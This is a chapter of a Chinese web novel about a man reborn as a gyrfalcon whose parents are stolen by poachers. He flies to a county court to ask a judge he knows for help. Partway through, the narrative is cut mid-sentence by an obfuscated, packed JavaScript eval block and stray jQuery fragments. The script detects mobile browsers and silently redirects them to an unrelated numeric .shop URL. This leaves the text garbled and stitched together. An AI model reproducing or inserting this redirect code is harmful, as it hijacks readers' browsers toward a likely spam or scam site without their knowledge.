隼妈一听,满腔怒火烧的更旺盛了。
为了能和人类相处居然敢说自己是个人?!
隼妈一声“嘶”叫,唤来隼爹,对着沈秋就是一顿挠。
“我让你是人!”
“胆子大了,敢说自己是个人了!”
“你瞅瞅自己,爪子,羽毛,小眼睛,哪里像个人!”
沈秋:……
虽然是事实,但是妈,小眼睛这个词以后能不提了吗,伤隼心。
当然这话沈秋是不敢说出来的,怕火上浇油。
隼崽被打的抱头鼠窜,整个过程发生的十分迅速,看得下面的三个人类都纷纷呆了呆。
好在很快师父就反应过来,见隼爹隼妈如临大敌的模样驱赶着小隼离开,大概猜到了点,于是笑笑呼唤徒弟。
“走吧,隼爹妈都来带小隼回家了,我们也该走了,再不走天黑路就不好走了。”
徒弟和领路的年轻人恋恋不舍回头。
沈秋也依依不舍,这场面是怎么看怎么好笑。
很快两人上了车离开,年轻人山上还放着羊,围观了一会儿小隼挨揍后也走了。
被揍了十分钟,整整十分钟!
小隼脑袋上的毛秃了,翅膀根也隐隐作痛,隼爹隼妈才终于停止自己的揍孩子运动。
喘气,隼妈的黑豆眼恶狠狠瞪他,“回家!”
沈秋蔫了吧唧的跟在后头往山上飞。
看来和爹妈住一起的时候是没可能去找人类了,正好隼爹早上才跟自己说过让他离开,那明天……
他偷瞄了眼前头身上还仿佛带着火的隼妈,决定明天偷摸着走。
只是他万万没想到隼妈对这事上了心,一回到巢穴还没等沈秋提出要独立,隼妈就发话,“你,继续跟我们学习,等你什么时候学会躲着人类了,你再出去独立!”
“啊?”
“啥?”
一前一后两道声音。
来自隼崽和隼爹。
隼崽是担心自己短时间内不能下山找人了,隼爹是为了自己的舒适生活。
比起和隼崽贴贴,它还是想和自己媳妇儿贴着。
隼妈用爪子挠了隼爹一爪。
“你啊什么啊,从今天开始,你我轮流看着他,绝对不允许他有任何机会去靠近山下的人类!听见了吗?!”
隼爹和沈秋都听见了。
“等等啊等等,妈,我觉得这事我们还能商量商量。”
“没得商量!”
沈秋彻底被看管起来了。
白天就算出去捕猎,也是隼爹隼妈分批去,总之他身边一定会跟着一只隼,确保他不会趁爹妈不注意偷偷下山。
可以看出隼妈非常了解自己的崽,将他的所有主意都扼杀在摇篮中。
没法偷溜,沈秋又不想让爹妈生气。
不管怎么说,就算他再觉得自己是人,但现在自己确实是只隼是毋庸置疑的,先不说隼爹隼妈辛辛苦苦把他孵出来,还费心费力教了他那么多独立生存的本领。就说他刚睁眼的时候什么都不会,也是爹妈无条件收留他,包容他,再重新教会他一切属于海东青的生存本领。
他没法做到什么都不顾的就离开。
于是他只能将下山的念头偷偷藏起,等待更久远的以后。
一连过了半个月被看守起来的日子,隼妈见隼崽是真的没了要下山的念头,看守才终于放松。
沈秋可以和隼爹一起出去捕猎了。
为了感谢隼爹隼妈对自己的照顾,沈秋每次捕猎都会优先给爹妈吃,然后就逐渐发展到他可以独自出去捕猎。
沈秋没有想过趁这个机会离开,因为他知道隼妈一定会着急寻找他,做人,哦不,做隼不能这么不知好歹。
于是隼家三口又恢复到了之前的和谐。
但要说变化的话,也有。
那就是家里的捕猎任务被隼崽一隼独包了。
动物界的原生隼或许没有什么包揽全家吃喝的习性,但沈秋自觉已经长成,再加上为了训练自己的捕猎技术,每天都会给爹妈送回去猎物。
随着冬季的到来,山上的夏季牧场都已经搬离,方圆百里彻底没了人类的痕迹,再经过仔细观察,发现隼崽确实已经没了想要下山的念头,隼妈也逐渐没了对隼崽的看守。
每天有隼崽出去捕猎投喂父母,硬是让夫妇俩的体型都圆润了一圈。
这天,沈秋照例出去捕猎,临走前还被隼妈用尖喙整理了下身上凌乱的羽毛。
是的,一个月前被亲妈叨秃的脑门终于又长好了羽毛,隼崽现在又是一只羽毛亮丽的漂亮隼崽了。
在外面吃饱喝足,沈秋一爪抓着一只鼠兔回到巢穴。
但往常都会在巢穴中等待他的隼爹隼妈却都不见踪影。
出去遛弯了?
沈秋表示理解,毕竟不需要为了捕猎奔波,偶尔出去飞几圈消消食是正常的。他把猎物放在旁边隼爹扩建的巢穴里,打了个哈切开始闭眼休息。
只是这一等就等到了下午。
距离沈秋回到巢穴已经过去好几个小时。
隼爹隼妈绝对不会放任他单独呆这么久,出事了。
几乎是瞬间沈秋就意识到了。
他连忙扑扇翅膀飞起来,开始大声呼叫。
“嘎!”
“妈!”
“嘶!”
“爹!”
矛隼呼唤同伴的声音是大声的嘶鸣或是尖叫,声音可以通过风传到很远,是矛隼日常用来呼唤同伴的方式。
但今天,方圆百里没有任何一只隼回应他。
沈秋的一颗心直接落入谷底,他连忙飞回巢穴在四周寻找着蛛丝马迹。
终于,他在靠近悬崖的那一侧看见了只属于人类世界的……烟头。
有人来过这儿!
隼崽浑身冰凉,站在冬季高海拔的山地,只觉得仿佛被一盆冰水从头浇下。
他是人,所以他无比清楚地知道这代表了什么。
有人趁着他外出的时候从悬崖那侧上山将隼爹隼妈盗走了。
他扑扇翅膀飞到悬崖下面,果然在凌乱的石头上看见了几根明显是经过剧烈挣扎,才掉落的属于隼爹隼妈的羽毛。
零星几个石头上,还能看见被尖利爪子抓挠过的痕迹。
从石头上的痕迹来看,应该发生在他去捕猎后不久。
已经过去好几个小时了,那些人说不定都已经带着隼爹隼妈离开了这个村……
黑豆眼闪过一道暗茫,沈秋循着山崖的痕迹一路往下,终于在高山背后的公路上再次发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265228|198086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现了属于隼爹的气味。
是滴落在公路旁枯草上的一滴血……
沈秋心头一紧,飞上高空望向这空无一人的公路,心里第一次生出一股茫然。
接下来该怎么办?他现在是只矛隼,打电话报警的事他做不到。
焦虑的在天上飞了几圈,沈秋忽然想到那对师徒。
对,还有她们。
他连忙往回飞,飞到那天法院车停留的地方,回忆他们最后离开的方向,顺着公路迅速飞走。
矛隼的飞行速度约为40-70公里每小时,俯冲速度更是能达到250公里每小时,是世界上飞行速度排前三的鸟类。
因为着急,沈秋直接用俯冲速度朝着公路尽头的县城飞去。
看见人类房屋的时候才终于松了口气,只是接下来要怎么才能在这么多房屋里准确找出县法院?
而且天色已经隐隐黑沉,如果找到地方但对方下班了怎么办。
沈秋杂七杂八的想着,一趟又一趟的在人类屋顶盘旋。
很快,他的举动就引起了其他鸟类的注意。
从小学学校的头顶飞过,耳边传来了陌生的询问。
“你在找什么?”
沈秋下意识望去,看见了一只站在高楼边缘的……游隼?
他仔细辨认了下,认出了对方和自己的差别。
虽然同属隼科隼属,但游隼的速度比矛隼更快,羽毛也不像矛隼这样白黑色,是习性相似的两种动物。
但很多游隼都喜欢进入人类世界,会不会……
沈秋念头一闪直接冲过去,“我爹妈被坏人类抓走了,你知不知道人类法院在哪里?”
面前的游隼疑惑歪头,“法院?”
是了,游隼怎么会知道人类法院是什么,人家是正经动物。
心急果然容易做错事,沈秋甩甩头,准备再飞快点去找,天色已经逐渐暗下来,要来不及了。
刚要走,就听面前游隼“咕咕”一声,“我知道警察在哪儿~”
警察!
沈秋再次冲过来站在它面前。
“行!带我去找!”
游隼居然一点犹豫没有,直接飞起来带着沈秋往房屋聚集的地方去。
绕过一栋略微高些的楼,游隼在高空停住,“就在那儿!”
沈秋一看,和警察局挨着的不是法院又是什么。
是了,像是这种偏远地区,很多时候各种机关都是挨在一起的方便群众办事。
来不及再想其他,沈秋抓紧爪子里的烟头和羽毛,只来得及说声谢谢,就立马从窗户飞进了法院里面。
在法官办公室找到法官本人时,沈秋悬了一路的心终于安稳落回原处。
“啾啾!”他发出声音,直接飞到法官的桌子上。
带着眼镜工作的法官被忽然出现的海东青吓了一大跳。
“矛隼?”她有些诧异。
但很快又从那双熟悉的黑豆眼将沈秋认出来,越发诧异的同时更是震惊。
“小家伙,你怎么在这儿?”
法院距离矛隼一家居住的高山还是有些距离的。
沈秋没时间打招呼,直接将羽毛和烟头扔在她面前的本子上。
“啾啾!”
“师父,快救隼!”